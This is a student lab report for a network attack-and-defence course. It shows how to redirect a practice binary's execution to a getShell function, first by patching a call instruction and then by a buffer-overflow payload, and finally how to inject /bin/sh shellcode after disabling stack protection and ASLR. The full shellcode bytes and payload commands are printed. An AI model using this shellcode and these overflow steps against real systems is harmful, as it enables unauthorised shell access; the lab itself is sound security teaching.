20232421 2024-2025-1 《网络与系统攻防技术》实验一实验报告
1.实验目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
3.实验过程
3.1 实验前置知识
-
Linux基础知识
- shell命令:ls、cd、cp、touch、cat等
- gcc编译指令、gdb调试指令:
- 设置断点:break/clear
- 启用/禁用断点:enable/disable
- 运行程序:run
- 继续运行:continue
- 单步代码跟入函数:step
- 查看各类信息:info
- 显示调用栈:backtrack
-
汇编语言基础知识:汇编指令
- NOP:空指令。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
- JNE:条件转移指令,如果不相等则跳转。(机器码:75)
- JE:条件转移指令,如果相等则跳转。(机器码:74)
- JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
- CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
-
十六进制编辑器使用方法
- %!xxd:进入十六进制编辑模式
- %!xxd -r:切换回原模式
3.2 修改程序机器指令
3.2.1 查看文件反汇编信息
- 输入指令
objdump -d pwn20232421dk | more
对pwd进行反汇编,查看getshell函数、foo函数、main函数机器码。指令详解如下:
objdump -d pwn20232421dk | more
# 该命令的目的是查看pwn20232421dk二进制文件的反汇编输出
# objdump:显示二进制文件信息,包含反汇编、符号表、重定位等
# objdump -d:显示反汇编信息
# |:管道符号,将前一个命令的输出作为后一个命令的输入
# more:用于分页查看文本文件内容的程序,而不是一次性显示所有内容(按Enter健查看下一行,按空格键查看下一页,按q键退出)
- getshell
- foo
- main
3.2.2 修改可执行文件
- 观察反汇编内容,
getShell
函数的地址是0804847d
,如果想要main
函数调用getShell
函数替代调用foo
函数,则可以修改可执行文件中的机器指令:将其中的call
指令的目标地址由e8d7ffffff
变为e8c3ffffff
3.2.3 查看并运行修改后的可执行文件
- 反汇编查看修改后的pwn20232421dk
objdump -d pwn20232421dk | more
- 运行pwn20232421dk,查看运行效果
./pwn20232421dk
3.3 BOF攻击实践
通过构造输入参数,造成BOF攻击,改变程序执行流。
3.3.1 安装gdb
sudo apt update
sudo apt install gdb
3.3.2 分析选用字符串
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
# Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
3.4 注入Shellcode并执行
- shellcode就是一段机器指令(code)。通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 以下是本次实践准备的Shellcode,其目的是执行/bin/sh(即启动一个新的shell),解释源自参考博客:
\x31\xc0
- xorl %eax,%eax:将寄存器eax的值设置为0。
\x50
- pushl %eax:将eax的值(现在是0)推送到栈上。
\x68\x2f\x2f\x73\x68
- pushl $0x68732f2f:将0x68732f2f(即//sh的ASCII码的小端序表示)推送到栈上。
\x68\x2f\x62\x69\x6e
- pushl $0x6e69622f:将0x6e69622f(即/bin的ASCII码的小端序表示)推送到栈上。
\x89\xe3
- movl %esp,%ebx:将栈指针(esp)的值复制到ebx寄存器。
\x50
- pushl %eax:再次将eax的值(0)推送到栈上。
\x53
- pushl %ebx:将ebx的值(现在指向/bin//sh的字符串)推送到栈上。
\x89\xe1
- movl %esp,%ecx:将栈指针(esp)的值复制到ecx寄存器。
\x31\xd2
- xorl %edx,%edx:将寄存器edx的值设置为0。
\xb0\x0b
- byte $0xb:将0xb(即11的十进制表示)加载到al(eax的低8位)。这是Linux系统调用号,代表execve。
\xcd\x80
- int $0x80:触发软中断,执行系统调用。
3.4.1 构造payload
Perl -e 'print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
3.4.2 设置堆栈可执行并查询是否可执行、关闭地址随机化
- 由于execstack下载不了,此处使用patchelf。
patchelf --set-execstack pwn20232416-0
readelf -l pwn20232416-0 | grep GNU_STACK
echo "0" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
3.4.3 分别使用两个终端进行攻击与断点设置
- 终端一中运行程序
- 终端二中调试进程
- 观察分析地址后注入攻击
4.问题及解决方案
4.1 问题描述
- 执行命令后,终端输出:
/bin/sh: 1: 11111111222222223333333344444444}: not found
这说明/bin/sh已经启动(否则不会有/bin/sh的报错),但input文件中的无效字符串(1111...4444})被/bin/sh当作命令执行,导致“命令不存在”的错误。
4.2 应对方法
- 这说明/bin/sh已经启动,并且能响应用户输入的命令(ls执行成功),说明shell是交互式且有效的。后续实验中直接通过打断进程找到地址。
5.学习感悟及思考
- 此次实验大量借鉴了先辈们的经历,属于“站在巨人肩膀上的学习”。
参考资料
- https://blog.csdn.net/Wxc20212308/article/details/137093125?spm=1001.2014.3001.5502
- https://www.cnblogs.com/zbqzbq/p/18455129